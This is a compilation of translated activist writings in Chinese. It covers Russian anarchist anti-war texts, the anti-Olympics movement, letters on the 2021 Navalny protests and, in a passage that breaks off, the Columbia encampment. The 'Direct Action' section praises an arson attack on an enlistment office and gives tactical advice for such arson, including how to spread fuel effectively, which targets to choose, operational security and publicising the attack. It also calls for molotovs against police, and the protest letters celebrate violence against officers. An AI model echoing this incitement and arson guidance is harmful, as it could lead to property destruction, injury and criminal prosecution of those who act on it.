在我们[Instagram]个人主页的页眉处，有一个我们反战传单页面的链接。绿丝带是和平与反战抗议的象征。请使用绿丝带。另外，俄罗斯反战运动有一面旗帜—— 白-蓝-白。象征意义对抗议活动非常重要，是其支柱之一。我们将继续战斗，敦促大家不要绝望，不要放弃，但同时也要格外小心。最重要的是，我们有数百万人，常识、良知和真理始终都在我们这一边。感谢你们所做的一切，感谢你们继续与我们一起并肩为和平而战。

（2022年3月19日，自主行动/Autonomous Action 发布的莫斯科无政府女权主义者的反战视频。）

冻结的时间：习惯于恐怖和疯狂

「图」

以下文字是自主行动（*Autonomous Action*）发布的*3*月*27*日播客的文字版。自主行动是由最著名的俄语反独裁网络建立的网络平台。为简明扼要起见，我们省略了有关国家镇压的最新情况，这是俄罗斯无政府主义出版界最普遍的特征。

一个多月来，所谓的乌克兰“特别军事行动”和俄罗斯当局的其他疯狂决定已经让很多人习以为常。

我们习惯了来自乌克兰战事的消息和报道，习惯了被摧毁城市的照片和视频，习惯了熟人、熟人的熟人和一些名人死亡的消息，习惯了来自该国的难民潮，难民人数已经超过300万。事实上，自所谓的“去纳粹化”开始以来，离开家园的总人数已超过600万。

我们已经习惯了俄罗斯新的社交媒体禁令和网站封锁的新闻，习惯了因反对战争而被拘留和逮捕的新闻，习惯了因散布有关俄军的“假消息”而被刑事立案的新闻 —— 目前为止全国各地已经有六十多起这样的案件。我们对活动家、记者、名人以及那些根本不想生活在普京政权下的人大规模逃离俄罗斯已经习以为常。我们对所有新的制裁、不断上涨的物价、空空如也的货架以及一些必需品的缺乏已经见怪不怪。

在哈尔科夫“去纳粹化”期间，奥斯威辛集中营的幸存者、96 岁的鲍里斯·罗曼琴科在一次爆炸中丧生。在同一个地方，曾在领土自卫队中与侵略者作战的无政府主义者伊戈尔·沃洛霍夫死于普京的火箭弹之下。另据乌克兰国防部称，在哈尔科夫附近，俄罗斯的炮击破坏了大屠杀遇难者纪念碑。3月12日，圣彼得堡的无政府主义者举着横幅（上面写着：“傻狗去舔你自己的屁眼吧！”），当时市中心的防暴警察比路人还多。

奥克萨娜·鲍利纳（Oksana Baulina）是俄罗斯《内幕》（The Insider）杂志的记者，在基辅死于炮击。此前，她曾在纳瓦尔尼的“反腐败基金会”（FBK）工作，后因面临刑事起诉风险而被迫离开俄罗斯。在马里乌波尔，尸体被埋在被毁居民楼的院子里。

3月21日，国际公司 Meta 被列入 “极端组织”名单。其产品（Instagram、Whatsapp 和此前在俄罗斯被屏蔽的 Facebook）一直被数百万俄罗斯人以及包括政府机构和国有企业在内的机构使用。在上诉无果后，该决定生效；律师们仍在猜测这对用户和营销人员意味着什么。

应总检察长办公室的要求，社交媒体平台 VK 还封禁了一系列网页：例如，不仅包括自由派政治学者叶卡捷琳娜·舒尔曼（Yekaterina Schulman）的粉丝专页、也包括左翼社会主义行动组织、民主社会主义者联盟、政党 “亚博卢”、学生杂志《DOXA》的网页，以及我们的 VK 页面 avtonom.org。

莫斯科一家法院认为，除其他外，“法西斯主义不会通过！Фашизм не пройдет！” 这句口号是 “关于俄罗斯军队的假新闻！”。(我想知道这三个字中哪个是假的？）

在乌法，马克思主义圈子被宣布为恐怖组织，其成员被送往审前拘留中心；据称，他们打算推翻政府。

在伯力，不明身份者宣布举行 “支持俄罗斯军队” 的集会。他们邀请居民带上乌克兰国旗、斯捷潘·班德拉、塔拉斯·舍甫琴科和其他乌克兰民族主义者的肖像，庄严地焚烧，然后给参与者发糖（糖在当时是稀缺品）。但最终该活动并没有举行—— 除了警察和记者外，只有少数人前来 “与纳粹畜生搏斗”，以换取一包稀缺物品。

俄共莫斯科市杜马代表谢尔盖•萨沃斯季亚诺夫认为，俄罗斯军队还应该 “去纳粹化” 波罗的海国家、波兰、摩尔多瓦和哈萨克斯坦。作为所谓的 “人民的选择” 还居然得到了 **2019** 年 “聪明投票” 的支持。[讽刺俄罗斯异议政客纳瓦尔尼的 “聪明投票”策略最终帮助了萨沃斯季亚诺夫上台。]

因 “假新闻” 而被起诉的记者之一亚历山大·涅夫佐罗夫（Alexander Nevzorov）早在改革时期就已为人所知，他本想公布上世纪 90 年代执政集团代表的一些不利证据。但他得出的结论是正确的：在他们已经做了和正在做的事情之后，作为掌权者，已经没有任何东西能让这些家伙名誉扫地的了。莫斯科国立大学附近的麻雀山上贴着一张贴纸，上面写着：“普京主义已死—— 人民的和平。”

和平抗议的终结

「图」

本文于2022年3月30日发表于《无政府主义斗士》。

俄罗斯的和平与 “合法”抗议已遭到镇压。而且，从定义上来说，现在已经不可能了：国家在几天之内就通过了新的法律，根据这项法律，即使仅仅站在原地高喊 “反对战争！” 也被视为非法。自由派人们已经在发布指令：不要高喊和书写 “反对战争！” 亲政府的记者已经快把奥威尔气得炸坟了—— 他们在一本正经地散布 “反对战争！” 的口号来自纳粹传单的观点。

对于任何曾经专心关注政治和研究抗议运动历史的人来说，显而易见的是，在法西斯独裁政权（或力图成为法西斯的独裁政权）的条件下，除非抗议采取激进和攻击性的形式，否则就会遭到镇压。毕竟，如果人们的全部精力都用来躲避防暴警察了，又怎么能取得胜利呢？

我们知道，战争初期，无政府主义者和反法西斯活动家在许多城市参加了这些抗议活动。他们取得了相当大的成功。

然而，现在对于无政府主义者来说，参加集中化的 “抗议行动”是毫无意义的，也就是说，站在主要广场上举行仪式，而 “纳瓦尔尼团队”（纳瓦尔尼的支持者）和其他自由派团体，将在一段时间内继续宣布：在你能做任何事情之前，先准备好被塞进囚车。至少，在街头进入一个新阶段—— 人们准备好进行积极对抗的阶段，“可耻！” 的呼喊声应该被更多投向警察的燃烧瓶所取代 —— 而在所有这一切之前，这样做是没有意义的。到那时，我们就可以加入准备好采取行动的人们的行列了。但是，当人们以诬蔑你是挑衅者并高喊 “我们支持和平”来回应你时，试图说服人们使用武力既是自杀行为，也是对人力资源的浪费 —— 如今这些资源已经非常稀缺了。德国的无政府主义者

直接行动

「图」

在这种情况下，原则上可以使用的策略已经很少了。例如，如果我们回到集会和类似行动的话题上，无政府主义者可以与其他倡议者合作，在城市的不同地区组织多次集会，像水一样灵活机动地流向远离镇压者（即防暴警察）的地方，沿途分发宣传材料，而不是举行一次容易被镇压的集会。

不过，我们想谈谈另一种战术 —— 直接行动。

放火焚烧征兵办公室当然很好。但还不够好。更确切地说，象征性地纵火焚烧征兵办公室（就像往水泥墙上扔自制燃烧瓶一样），还不足以证明有理由拿革命者的自由冒险。

我们的人很少。因此，我们的每一次行动都必须尽可能有效。如果你准备放火焚烧征兵办，那就以最高的效率去做（评估性能系数 **COP**）。如果有必要，可以花一个月的时间来做准备，但一定要做好。

行动的效果可以根据三个标准来评价：对国家造成的物质损失、行动消息本身所产生的影响、以及事后游击队战斗力的保持。

必须努力在所有三个方面实现成效最大化，并设想到可牺牲其中任何一个方面（尤其是最后一个方面），以便能在其余方面获得巨大优势。

让我们从最后一个标准开始。重要的不是行动所能造成的一次性伤害。即使你把征兵办公室完全烧成灰烬，也无法阻止帝国的侵略。但重要的是，游击队员（或受游击队行动启发的人）在被捕前有时间造成的总体破坏。因此，安全措施至关重要，我们已经不止一次提到过这一点（我们在此不作深入探讨，因为我们不是在写说明，而是在讨论一个普遍概念）。此外，这还意味着有必要在团体规模（可增加造成的损失，也可在活动期间加强安保）和信息泄漏风险之间找到平衡。

（前几天，我在莫斯科州卢霍维齐市的兵役登记和征兵办公室纵火，并用 *gopro* 拍了下来。我把大门涂成乌克兰国旗的颜色，并写道：'我不会去杀我的兄弟！'。随后，我翻过栅栏，在外墙浇上汽油，打破窗户，并向窗内投掷自制燃烧弹。这样做的目的是为了摧毁存放新兵个人档案的档案室。这样做可以防止在该地区进行动员。我希望我不会看到我的同学被囚禁，更不会在死者名单里看到他们 …… 乌克兰人必须知道，在俄罗斯，我们是在为他们而战。不是每个人都害怕，也不是每个人都无动于衷。我们的抗议者需要受到鼓舞，采取更加果断的行动。这将进一步打击俄罗斯军队和政府的斗志。让这些混蛋知道，他们自己的人民憎恨他们，并将消灭他们。地球很快就会在他们的脚下燃烧起来，地狱也在等待着他们。）

为了讨论对国家造成物质损害的标准和行动新闻的影响，我们可以以卢霍维齐市的纵火行动为例。他/她的目标是摧毁包含新兵个人档案的档案库，这显然是对国家的重大损害（此外，这一目标甚至是可以单独实现的）。为了传播有关这一行动的信息，他/她将这一行动拍

摄成视频并借此发出呼吁。

如果你想对制度造成实质性的损害，那么请仔细考虑如何才能实现这一目标，应该使用什么手段，最好打击什么位置。我们知道，在不少案例中，反叛者投掷的自制燃烧弹并没有点燃任何东西，实际上也没有造成物质损失。此外，不仅要评估行动（例如投掷自制燃烧弹）的炫耀性和炒作性，还要评估其有效性—— 通常不使用投射物，而是（例如）通过破碎的窗户倾倒燃料更为有效。

因此，在计划行动之前，请务必研究有关各种武器的资料，并选择您可以使用的武器。[...]

在信息时代，没有良好的行动信息报道，就不会有任何效果。用简短且通俗易懂的语句说明你为什么要攻击这个特定目标，以及你打算达到什么效果。(简短很重要，因为冗长的宣言难以理解人们就不爱读，此外，文字的规模应与行动的规模相称，以显示理性）。考虑一下您可以在哪里安全地发送有关行动的信息。

目前，暴动主义主要是无政府主义地下组织的话题，其他组织则将其视为挑衅而拒绝接受。因此，首先应该找到可以支持这种行动的最大的无政府主义渠道，并找出如何最好地向他们发送材料。

但您也可以尝试不仅向无政府主义平台，而且向独立媒体发送材料—— 形势正在发生变化，这意味着，也许其中一家媒体也会提及您的行动，尤其是在有视频支持的情况下。关注那些现在在国外工作的媒体（它们的内部自我审查也许相对较少）。如果能有一位同志将公报翻译成英文，以便在国外报道这次行动，那就更好了。

在我们看来，一个简化的方案如下。向警察局投掷自制燃烧弹，没有人知道，也没有造成任何有形的破坏，从效果的角度看，不值一提，甚至是负面的。但是，毁坏昂贵的设备或重要文件，或破坏国家机构工作稳定的行动，从效果的角度来看是积极的了，其价值可以通过巧妙的媒体报道成倍增加。

让我们再次回顾卢霍维齐纵火案。销毁档案固然是好事，但成千上万的人了解了这一行为，效果就会增加好几倍。

当然，与此同时，除了直接行动，即使在这样的时刻，革命者也还需要做其他事。首先是鼓动，让广大群众参与进来。事实上，除了削弱国家（这也是定点攻击的目的）之外，社会上还必须有一种主动性，在自由和自决的基础上重建世界。

然而，应该牢记的是，现在即使是最无害的外联活动也会受到相当严厉的惩罚。大家应该还记得反极端主义中心的一个人渣奥科普尼曾威胁过一个散发反战贴纸的人。现在是时候摒弃“我没有做任何违法的事，没有什么能威胁到我”这类假想了。无论你做什么，都要注意自身安全，并做好与镇压当局面对面的准备。

Russia: Waiting for the Wheel of History to Turn

原文

全球反奥运运动兴起，挑战奥运会的阴暗面 - iyouport

反抗者-寻求经验

观察中文网络上对奥运会的评论，几乎没有人切中要点……

【按】全世界的政府都在争夺奥运会主办权。这只是为满足其经济利益和民族主义面子。我们相信中国朋友很容易理解这点，

但仅仅理解这点尚且不够，您需要随时对自己的权益具有清晰的洞察力。您所在的国家城市是否会因奥运会或类似的项目而驱逐“低端人口”？强拆修路？限制交通？强制维稳、甚至军事化管制？…… 如果存在其中任何一种或多种，您就很有必要加入这场全球性的反奥运运动。

2021的东京奥运会期间，我们看到了各种各样的关于对奥运会的中文关注和评论，但没有任何观点触及到反抗 …… 明年的冬奥会将在北京举行，我们希望这篇文章能对您有所帮助。

> 从东京到洛杉矶，一些团体正在进行抗议，以结束主办奥运会的城市所面临的流离失所、治安和军事化问题。

进入2021年仅三个月，警察就穿着全套防暴装备来到了洛杉矶回声公园社区的一个无家可归者营地，在扫荡中迫使居民离开。视频在社交媒体上疯传。对于驻洛杉矶的活动家吉吉·德罗什来说，这些视频让人想起2015年发生在世界另一端—— 东京的一次公园扫荡。

德罗什说：“当我在看东京扫荡的录像时，它看起来与我们这里发生的事非常相似。即 警察骚扰居民的方式—— 完全一样。不得不住在这个公园里的人都是没有住房的人，警察来了，暴力地把他们扫地出门。”

虽然有些人可能认为从洛杉矶到东京是一个很大的跳跃，但对德罗什

来说，这是一个自然的结论，他在过去几年里参与了一个国际运动，旨在结束奥运会和奥运会给主办城市带来的流离失所、治安和军事化问题。

德罗什所在的 NOlympics LA 组织是在2017年从美国民主社会主义者洛杉矶分会的 “住房和无家可归者委员会” 中发起的。此后，它发展成为一个由各种政治组织组成的更大的运动。NOlympics LA 活动家将他们的大部分工作集中在教育自己的周边人有关奥运会带来的伤害方面。他们的行动包括举办教学活动，鼓励新闻机构更仔细地报道奥运会，利用社交媒体强调对洛杉矶无房者社区的攻击，并对洛杉矶的经济状况进行深入分析。他们希望通过足够的压力和对虚假信息的纠正，可以取消市政府官员与奥组委达成的**2028**年在洛杉矶举办奥运会的协议。

这笔交易是由洛杉矶市长埃里克·加塞蒂（Eric Garcetti）制定的，排除了洛杉矶社区的意见。在申办时，加塞蒂利用了一个房地产游说者进行的单方面民意调查—— 并在顺从的媒体的宣传配合下 —— 声称 “88%的洛杉矶居民支持举办2028年奥运会”。而现在，尽管加塞蒂不会在2028年担任市长，但洛杉矶的纳税人将被迫支付保守估计为32亿美元的预算超支。

虽然该组织的网站和社交媒体页面上有大量关于奥运会的场面如何已经对洛杉矶的弱势社区产生了不利影响的信息，但该组织拒绝只关注本地问题。

“我们并不希望这些问题只是发生在另一个城市”，德罗什说，“我们希望这些问题在哪都不要发生”。

东京的反抗运动

「图」

2021东京奥运会让人们更加关注主办奥运会城市的许多居民所面临的问题。今年早些时候进行的一项民意调查强调了这一点，该调查发现**80%**以上的日本人反对正在进行的奥运会，**40%**的受访者认为应该推迟奥运会，**43%**的人认为应该完全取消奥运会。虽然最近的公众监督大部分是由对COVID-19传播的担忧所推动的，但是，反对东京奥运会并不是新事物。

2013年，东京的活动家们成立了 “Hangorin-no-kai NO TOKYO2020” 组织，以曝光奥运会正在加剧的不平等现象。该组织成立时，东京还

只是2020年奥运会的候选城市，最初由东京的无住房者社区成员和他们的盟友组成。不久之后，活动家们就围绕住房问题扩大了宣传，包括日本进步人士关注的一些长期问题，如无核化、教育和护理工作、性别平等、民族主义、反监视和治安。

在奥运会之前的几年里，Hangorin-no-kai 的东京组织者 Ayako Yoshida 亲眼目睹了许多这样的不公正现象。特别是，她看到奥运会不仅在场馆建设方面，而且在整个东京都引发了城市化进程。Ayako 说："[奥运会] 使人们—— 尤其是穷人—— 从公共空间流离失所，并将城市转变成为私人资本创造利润的地方"。在公立学校，孩子们被教导要赞美奥运会，并作为日本的爱国者行事。

- 如果您错过了《爱国者悖论》

2017年，日本政府利用2020年奥运会通过了一项反恐阴谋法，该法使用宽泛的措辞，赋予政府更多的权力来镇压公民的行为，如抗议公寓楼的建设。

Hangorin-no-kai 并没有被政府的镇压所吓倒。该组织在运动会前每月都举行公开的抗议活动。最大规模的抗议活动之一发生在开幕式前一个月，当时约有850人聚集在东京都政府办公室外。然后，在开幕式当天，1,000人参加了一次游行，封锁了东京最繁忙的道路之一。

日本最大的整体反奥运行动之一发生在2019年，当时 Hangorin-no-kai 举办了一次国际反奥运集会。这次的反抗集会召集了来自世界各地的团体，这些城市过去曾举办过奥运会，或计划在未来举办奥运会，包括洛杉矶奥运会。

"我们参加了一个大型的反奥运游行"，德罗什说，"这真的很酷，它是一种展示的方式，这不仅仅是东京的一群人反对奥运。它是从东京到平昌、从洛杉矶到伦敦 ……"。NOlympics LA members lay remembrance tiles outside UCLA's Jackie Robinson Stadium to honor victims of police violence, November 2020. (Facebook/ NOlympics LA)

一段伤害的历史

「图」

最近的反抗运动正试图挑战奥运会的阴暗面，而奥运会的历史由来已久，而且往往未被充分证实。奥运会的创始人皮埃尔·德·顾拜旦

（Baron Pierre de Coubertin）是一位法国贵族，他有种族主义和厌恶女性的观点，这些观点—— 加上他对民族主义和帝国主义的支持 —— 在奥运会存在的整个过程中塑造了奥运文化。

美国奥运足球运动员朱尔斯·博伊科夫（Jules Boykoff）在2013年为《希尔斯伯勒新闻时报》撰写的一篇文章中谈到了这段历史：

“斜坡、溜冰场和半管式滑道上令人眼花缭乱的运动能力不应该蒙蔽我们的批判性思考。今天，运动会可以被正确地描述为涓涓细流的经济与企业资本主义超商业化传送带上华美的运动荷尔蒙的相遇”。

从围绕东京奥运会的一些较大的媒体争议中，可以看到奥运会组委会的政治中的大部分厌女症和种族主义。例如，当田径明星沙卡里·理查森 (Sha’Carri Richardson) 因在母亲去世后吸食大麻而被停赛并受到公开指责时，许多人感到非常愤怒。理查森的故事使许多人开始质疑对奥林匹克运动员的期望，以及种族主义和厌女症在增加对理查森的审查方面可能发挥的作用。国际奥委会通常以更高的标准来要求黑人女性，同时对她们的行为、她们的自然头发、她们的睾丸激素水平以及其他部分，以过度的和种族主义的标准进行监督。

与理查森的停赛形成鲜明对比的是，美国击剑运动员阿伦·哈季奇（Alen Hadzic）在被指控性侵犯后依然参加了奥运会。选择哈季奇参加比赛的体育联合会已经制定了一个计划，让他远离女性，远离奥运村，但这只是为了让他能够保持自己的位置。

虽然这些问题可能无法让观众更全面地了解奥运会是如何系统性地伤害主办城市的，但它们为批评奥运会这个机构打开了大门。德罗什谈到围绕 理查森和哈季奇的争议如何使人们更容易在谈话中提出更多的系统性问题。

“我们发现，这是一个很好的开端，可以告诉人们‘是的，你所谈论的事情真的很混乱。在比赛开始前，你都不能抽一次大麻，这真的很糟糕’”，德罗什说，“这些是问题，但它比你想象的还要更加深远。”

洛杉矶奥运会最近在他们的网站上发布了一个大纲，以便任何人都能在自己的圈子和社区更好地讨论奥运会的危害。虽然他们在洛杉矶没有安排任何即将到来的行动，但他们一直在利用东京奥运会的宣传，与媒体对话并在社交媒体上分享信息。

“奥运会给主办城市的地方预算带来了巨大的压力，使民主政府进程崩溃，并破坏了环境”，Ayako 说，“然而，最终牺牲的将是普通老百

姓，他们往往是穷人或处于社会中最脆弱的位置”。〇

A global anti-Olympics movement rises to challenge the games' darker side

原文

利用一切机会站起来：来自俄罗斯的两封信 - iyouport

反抗者-寻求经验

【2021年5月12日存档】中文内容经常不会错过全球热点事件，不论是BLM还是俄罗斯纳瓦尔尼的内裤投毒，但是，几乎从未抓到真正的重点

【按】您可以利用一切机会站起来。这是IYP在去年底的对话中讲述的观点之一。这也是为什么必须强调论述需要具备战略性，知识分子需要像活动家一样思考。

寡头公司对 Parler 的封杀应该提醒人们这些寡头单方面的权力有多么惊人，这与您是否喜欢 Parler 完全无关，反垄断活动家就可以利用这一机会进行动员；选举后的推特封锁浪潮应该提醒人们关于所谓的 “国内反恐战争” 为什么值得警惕，反审查活动家应该借助这一机会告知公众，不透明的和高度集中的权力将危害所有人，不论此次被封锁的是左翼还是右翼，那并不重要。

您是否理解BLM并不重要，重要的是您应该从反抗警察暴力的抗议热潮中吸取行动者的勇气和智慧，在您的本土争取正义；这就是为什么我们去年连续发布了一个系列关于对这场抗议活动的分析，警察暴力是全球反抗者最强大的共鸣点，您根本无需理解BLM、无需理解美国的状况，但您肯定理解警察暴力是什么、肯定知道酷刑意味着什么，因为它们就在您身边发生。

被逮捕的人是谁并不重要，您是否认同此人的观点也不重要，重要的是，此人被您所反对的政权所逮捕，这就是您组织起来 “为了人民而战” 的机会。

📌 当您陷入中文报道对纳瓦尔尼内裤的强大关注时，就会错过真正重要的反抗智慧。

俄罗斯的反抗者在今年1月底就演示了 “利用一切机会” 的行动力，活

动家们有着令人兴奋的勇气和智慧。

CrimethInc.收到了来自俄罗斯反抗者的以下报告，描述了那里的1月23日抗议活动期间的情况，在这次抗议活动中，全国各地有数万人集会，以回应反对派领导人阿列克·纳瓦尔尼的被捕 —— 最重要的是，人们表达了更深的愤怒。

很多人一直希望，来自白罗斯的抗议浪潮迟早会蔓延到俄罗斯 —— 这无疑是白罗斯和俄罗斯势力范围周边其他地方的反抗、以及所有在普京治下受苦的人们的最大希望。发表此文是为了在所有反抗者中培养国际视野。愿每一次反抗都能得到深化和传播。

第一封信

「图」

今天，1月23日，俄罗斯联邦燃起了火花。从莫斯科到乌兰乌德，数万人涌上街头，抗议普京、抵抗腐败和镇压。乍一看，这些示威活动可能就像每次著名反对派候选人受到严厉镇压时，都会掀起的抗议活动那样；但是，对我们这些在当地的人来说，我们觉得有些东西已经发生了转变。

这类抗议活动中曾经典型的被动态度已经被抛弃。人们开始反击警察。同样，这些集会也不只是在典型的地方发生，也不只是由同样一群政治活跃的上层人士组成。

从赤塔市，我们听到警察被击溃的故事；在彼尔姆，在无政府主义者讲述了为什么反叛、自组织的抗议活动和团结一致反对镇压之后，人群集体鼓掌；在伊尔库茨克，人们也在热情地接待无政府主义者和他们的观点。在一个地方，人们阻挡警车，而在另一个地方，人们帮助解救被逮捕的抗议者。在一条街道上，一个男人打倒了一个警察，而在另一条街道上，人们高喊着“自由！自由！”，一位女性在挥舞着手中的枪；“自由!”，另一位女性从警察手中夺过警棍。

除了人们对无政府主义思想的兴趣越来越浓厚，这固然令人振奋，但今天爆发的反抗，无论多么卑微，都有更令人兴奋的无政府主义潜力。

一种令人振奋的新战术是对警察的滚雪球式攻击，这种攻击培养了信心，维持了紧张局势，同时也是人们乐于接受的一种行动升级。如果反抗的目的是羞辱当局，激励其他游击队员采取行动，这无疑是一种

有效的战术。

在 Telegram 上流传的一段视频中，你甚至可以看到一场滚雪球式的攻击升级为对一辆挂着国家牌照的车辆的进攻。据报道，这辆车可能与FSB（即令人憎恨的俄罗斯联邦安全局）有关。我们已经看到反抗在这些行动主义战术中开始绽放，但是，另一方面，镇压也来了。

国家已经承认有超过**3000**名抗议者被捕。描绘警察残暴殴打的视频已经在网络上出现。准国家镇压队纷纷出动。地铁站被关闭。毫无疑问，接下来还会有更多的镇压，俄罗斯国家拥有巨大的镇压资源。然而，像所有的国家一样，当权者需要人民一定程度的服从，如果他们要成功地镇压街头的人群和更普遍的反抗运动的话。

警察们能够使用惯常的一切手段，无数次地暴力冲锋，抢夺民众，但民众也进行了反击，从警察手中解救出自己的队友，甚至将警察完全赶出一些地区。这块牌子上写着“我们是人不是牲畜”

这里的许多人似乎把白罗斯视为一个榜样，在那里，镇压和警察暴力并没有迫使反抗者退缩。在今天俄罗斯的许多集会上，依然可以看到声援那里斗争的歌声和信息。这让我们充满了希望—— 并不是在两种民族主义相互问候的意义上，而是因为这些斗争正在突破其国界。

📌 起义浪潮所做的每一次突破都是不同的，我们都有不同的背景，但我们也可以找到共同的事业、共鸣和灵感。我们可以与白罗斯的那些反抗者找到共鸣，他们团结起来了，反对一个控制力可能正在下滑的寡头，与那些抵抗警察保护自己的人们，以及最重要的是，与那些有时设法超越政客的人们联合起来，他们遭受的镇压经历是大规模反抗运动的原始催化剂之一。

我们或许应该提一下，我们对纳瓦尔尼这个反对派政客没有任何好感，虽然他的被捕似乎引发了这一波抗议活动。纳瓦尔尼是一个机会主义的极端民族主义大佬，他用反腐政治的说辞把自己描绘成一个民粹主义者，而这种说法只会支撑起另一批寡头，并以更恶劣的方式延续压迫的状态。他甚至不是最受欢迎的反对派政治家，他的政党也不是最受欢迎的。

我们看到，战斗的策略和决心跨越了地形和社区差异。大约10万人尝到了集体行动的滋味。我们希望抗议活动的主题能够像抗议活动本身一样普遍化，但这是一个很好的踏脚石，可以让我们从这里开始进入下一个飞跃。

接下来的时刻是至关重要的。我们如何在没有军事指挥架构的情况下，在不依靠FBK（反腐基金会）领导的情况下，凝聚、有效、果断地行动？我们怎样才能在行动中不把过多的压制引向我们自己的独特组织或朋友群体？我们还有很多问题，但我们也看到，我们所需要的很多东西已经在这里了。

我们发出这封简讯，是希望它能传递给一些美国反抗者，他们去年夏天与警察的斗争对我们是一种强大的鼓舞。在俄罗斯，我们有句话叫“羊吃狼”，美国人可能会说“猪在飞”。在俄罗斯，骗子警察被称为狼人，而在美国，我们理解的警察是猪。所以本着国际团结的精神，我们说，愿羊能吃掉狼，让我们给猪插上翅膀。

有苦难的地方就有抵抗。

勇气和机智！

不是为了 *Navalny*，而是为了人民！

PS —— 俄罗斯的反抗者向突尼斯街头的战斗人员致以问候！推倒警察国家！

第二封信

「图」

今天，俄罗斯各地有数万人举行抗议活动，这是过去十年来反对弗拉基米尔·普京统治的最大规模示威活动之一。目前已经有超过3000人被捕。

这些抗议活动与过去10年来在莫斯科和圣彼得堡发生的抗议活动有很大的不同。在这种情况下，俄罗斯各大城市的人们都来到了街头，包括气温为零下**52**摄氏度的雅库茨克市。

第二个重要的区别是，人们并不害怕与警察发生公开冲突：与防暴警察面对面战斗，堵住最大的街道，砸坏警车，甚至出现向警察扔雪球的情况。这一切以前也时有发生，但没有如此大规模。

抗议活动的官方议程是要求释放反对派政客阿列克谢·纳瓦尔尼，他一周前从德国回来后被FSB（俄罗斯安全部门）下毒，在德国接受治疗随后被捕。纳瓦尔尼入狱后，他的反腐基金会团队发布了一段长达两个小时的视频调查，在 YouTube 上不到一周就获得了7400万次点

击。它讲述了普京从上世纪90年代开始的腐败生涯，以及他的一座新房子：俄罗斯最大的宫殿（是摩纳哥的39倍），由寡头们为他建造。

令人难以置信的豪华宫殿激怒了生活在不断恶化的经济状况中的俄罗斯人，他们不再相信国家宣传，近年来的国家宣传已经超过了苏联最糟糕的宣传范例。尽管纳瓦尔尼的政治观点非常有争议（从右翼到左翼民粹主义的波动），但很多人走上街头，抗议者们并不认同纳瓦尔尼的观点，但他们明白团结起来对抗普京及其小圈子控制的腐败的俄罗斯政府有多么重要。

人们站起来抗议腐败、贫穷和最丑陋的国家资本主义形式。对执行这一秩序的警察和镇压部门的仇恨也在增长。

许多无政府主义者参加了这些抗议活动，尽管许多人由于不同意纳瓦尔尼的观点而犹豫不决。希望无政府主义者能利用目前的形势，与社会上的各种反抗力量互动，推翻这个政权，走出运动现在的停滞状态。

📌 无政府主义者可以帮助那些第一次发现自己参加街头行动的人在街头更有效、更安全地与警察对抗，建立横向结构，帮助那些被监禁或遭遇国家镇压的人，以及规划未来的行动。

白罗斯秋季的反抗经验表明，这种支持非常有效。把信息公开化（不使用过时的意识形态陈词滥调），就能形成明确的抗议目标。

俄罗斯的局势不仅影响这个国家和最近的后苏联国家。普京政权支持欧洲许多右翼政治运动，并在各地建立军事冲突区；他的准军事组织在从乌克兰到中非共和国的许多国家活动。各国经常发生暗杀反对派领导人的事件。对于即将到来的抗议活动和随后必将发生的镇压，反抗者必须做好准备。

然而，今天的事件表明，人们已经准备好全力以赴改变自己的未来!

附录 ——

「图」

您可以在此处找到有关被捕者的信息。 发生抗议活动的所有城市的地图如下：

○□

原文

反叛的荣耀 - 来自哥大和加州理工抗议前线的报告：含重要学运技巧 - iyouport

反抗者-寻求经验

强调中文读者关注其中标注的技巧和经验。

4月17日，哥伦比亚大学和巴纳德学院的学生建立了一个营地，声援面临被以色列军队种族灭绝的巴勒斯坦人。

4月18日，大学管理部门出动大批警察逮捕示威者，并捣毁了该营地；然，作为回应，学生们建立了一个新的营地，规模超过前一个，并激发了从耶鲁到圣路易斯的广泛模仿行动。

本报告记录的是此次行动的参与者对哥伦比亚大学发生的事件所进行的逐一描述，尤其是，对示威者采用的策略进行的战略性评估。

> 首先，有必要强调巴勒斯坦局势的紧迫性。以色列军队已经在加沙杀害了远超过 *34,000*人，其中大多数是妇女和儿童，现在正准备对拉法进行灾难性的地面入侵。

「我认为所有这些管理者都需要镇定下来，倾听学生们的心声，看看新闻，看看有多少人被杀害了。」

—— 马里亚姆·阿勒万（*Maryam Alwan*），被停学的学生之一

背景故事

「图」

自20世纪60年代以来，哥伦比亚大学校园既是特权的堡垒，也是激进主义的温床。1968年4月，正值反战和黑人解放运动的高潮，学生和他们的非学生同志们占领了大学的许多建筑。广为人知的无政府主义组织 “Up Against the Wall Motherfucker”—— “一个有分析能力的街头帮派”—— 在那场激烈的斗争中首次公开亮相。在 20世纪60年代

的校园抵抗运动史上，那年春天的大楼占领事件具有传奇色彩。

您可以在这里阅读1968年占领哥伦比亚大学的全部历史。1968 年，在为期六天的校园起义和罢课期间，一名学生活动家占领了哥伦比亚大学校长的办公室，坐在校长椅子上抽雪茄。

20世纪80年代，校园活动家们发起了一场声势浩大的运动，迫使大学从南非种族隔离制度中撤资，其中包括一次长达三周的帐篷扎营活动。

美籍巴勒斯坦裔学者爱德华·萨义德（Edward Said）是《东方主义》（Orientalism）一书的作者，也是支持巴勒斯坦解放的最著名的公共知识分子之一，他在哥伦比亚大学任教近40年，直到2003年去世。

他的存在帮助哥伦比亚大学成为支持巴勒斯坦的学术研究和活动的重要节点，即使在学生和教职员工中犹太复国主义的呼声与他背道而驰的时候，依然如此。

在二十一世纪的大部分时间里，有关以色列和巴勒斯坦的冲突都是校园中最引人注目、最具争议性的活动。

1968 年的一本小册子的封面，展示了当年罢课期间被警察打伤的数百名示威者之一。

2016年，哥伦比亚大学种族隔离撤资联盟（CUAD）将一系列支持巴勒斯坦解放的不同学生组织联系在一起。该联盟帮助促成了2020年的撤资公投。该提案以哥伦比亚大学学生的多数票获得通过，但时任校长李·博林格（Lee Bollinger）对此置若罔闻，该联盟也随之沉寂。

在接下来的几年里，COVID-19大流行病和哥伦比亚学生工会运动及罢工吸收了大量学生的精力。但在分裂的校园中，支持巴勒斯坦的活动仍是一条重要的断层线。

在10月7日袭击事件发生后的几天内，校园内外出现了支持以色列和支持巴勒斯坦的大规模示威活动。虽然大多数政治活跃的学生支持巴勒斯坦解放，但少数积极的亲以色列学生在校友的大力支持下也得到了哥伦比亚大学和巴纳德学院管理部门的坚定支持。在接下来的几周里，管理者取消了支持巴勒斯坦的学生演讲和活动，并审查了一个试图发布支持巴勒斯坦信息的教职员工运营的网页；向班级和学生传达支持巴勒斯坦信息的研究生也面临审查。一名激进人士与一名前以色列国防军士兵发生冲突，之后被逮捕，并被指控犯有“仇恨罪”；相比

